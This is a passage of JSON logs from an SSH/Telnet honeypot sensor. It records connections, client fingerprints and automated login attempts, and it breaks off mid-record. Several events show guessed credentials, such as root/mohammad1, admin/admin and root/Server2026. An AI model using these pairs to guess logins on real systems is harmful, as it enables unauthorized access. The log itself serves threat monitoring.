{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":44282,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b1cca59200","protocol":"ssh","message":"New connection: 198.98.55.71:44282 (159.203.135.109:22) [session: 36b1cca59200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:02.120825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:02.125601Z","src_ip":"198.98.55.71","session":"36b1cca59200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:02.135140Z","src_ip":"198.98.55.71","session":"36b1cca59200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mohammad1","message":"login attempt [root/mohammad1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:02.184642Z","src_ip":"198.98.55.71","session":"36b1cca59200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:03.193561Z","src_ip":"198.98.55.71","session":"36b1cca59200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:04.099835Z","src_ip":"163.7.1.156","session":"b08fdd5a4112","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:05.893081Z","src_ip":"163.7.1.156","session":"b08fdd5a4112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:06.724617Z","src_ip":"163.7.1.156","session":"b08fdd5a4112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":40810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d44edf190f96","protocol":"ssh","message":"New connection: 130.12.180.51:40810 (159.203.135.109:22) [session: d44edf190f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:07.454366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:07.459456Z","src_ip":"130.12.180.51","session":"d44edf190f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:07.541833Z","src_ip":"130.12.180.51","session":"d44edf190f96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:07.788862Z","src_ip":"130.12.180.51","session":"d44edf190f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:08.313923Z","src_ip":"130.12.180.51","session":"d44edf190f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82477593421936,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:09.150291Z","src_ip":"45.58.127.90","session":"791a9f081d12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c144043eba","protocol":"telnet","message":"New connection: 45.58.127.90:39312 (10.17.0.5:23) [session: c8c144043eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.282337Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.148","src_port":28648,"dst_ip":"159.203.135.109","dst_port":22,"session":"57c4599c286f","protocol":"ssh","message":"New connection: 94.26.106.148:28648 (159.203.135.109:22) [session: 57c4599c286f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.706597Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.712330Z","src_ip":"94.26.106.148","session":"57c4599c286f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.148","src_port":28658,"dst_ip":"159.203.135.109","dst_port":22,"session":"64994cae980d","protocol":"ssh","message":"New connection: 94.26.106.148:28658 (159.203.135.109:22) [session: 64994cae980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.853749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.861859Z","src_ip":"94.26.106.148","session":"64994cae980d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:14.946773Z","src_ip":"94.26.106.148","session":"64994cae980d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2026","message":"login attempt [root/Server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:15.122495Z","src_ip":"94.26.106.148","session":"64994cae980d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:16.212020Z","src_ip":"94.26.106.148","session":"64994cae980d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.08463740348816,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:18.011122Z","src_ip":"45.58.127.90","session":"c2d45cfb584c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":45706,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a46035243f1","protocol":"telnet","message":"New connection: 92.204.138.187:45706 (10.17.0.5:23) [session: 0a46035243f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:19.826195Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.118.51","src_port":48400,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed2e40725f3","protocol":"ssh","message":"New connection: 72.9.118.51:48400 (10.17.0.5:22) [session: 8ed2e40725f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.207045Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.213192Z","src_ip":"72.9.118.51","session":"8ed2e40725f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.118.51","src_port":48402,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f0af9f0170a","protocol":"ssh","message":"New connection: 72.9.118.51:48402 (10.17.0.5:22) [session: 3f0af9f0170a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.230823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.236550Z","src_ip":"72.9.118.51","session":"3f0af9f0170a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.278634Z","src_ip":"72.9.118.51","session":"3f0af9f0170a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:20.405194Z","src_ip":"72.9.118.51","session":"3f0af9f0170a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:21.442791Z","src_ip":"72.9.118.51","session":"3f0af9f0170a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.118.51","src_port":48412,"dst_ip":"10.17.0.5","dst_port":22,"session":"985adfa7eae6","protocol":"ssh","message":"New connection: 72.9.118.51:48412 (10.17.0.5:22) [session: 985adfa7eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:21.468663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:21.476413Z","src_ip":"72.9.118.51","session":"985adfa7eae6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:21.505553Z","src_ip":"72.9.118.51","session":"985adfa7eae6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:21.625209Z","src_ip":"72.9.118.51","session":"985adfa7eae6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.655972Z","src_ip":"72.9.118.51","session":"985adfa7eae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.9.118.51","src_port":48414,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9dc1097ffd7","protocol":"ssh","message":"New connection: 72.9.118.51:48414 (10.17.0.5:22) [session: a9dc1097ffd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.679641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.684834Z","src_ip":"72.9.118.51","session":"a9dc1097ffd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.713626Z","src_ip":"72.9.118.51","session":"a9dc1097ffd7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.832690Z","src_ip":"72.9.118.51","session":"a9dc1097ffd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:22.866394Z","src_ip":"72.9.118.51","session":"a9dc1097ffd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.68","src_port":25834,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c1c4a60df05","protocol":"ssh","message":"New connection: 192.42.116.68:25834 (10.17.0.5:22) [session: 1c1c4a60df05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:23.311283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:23.498789Z","src_ip":"192.42.116.68","session":"1c1c4a60df05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"087ab61de4f8afa9ac8f30c1b7c418eb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exch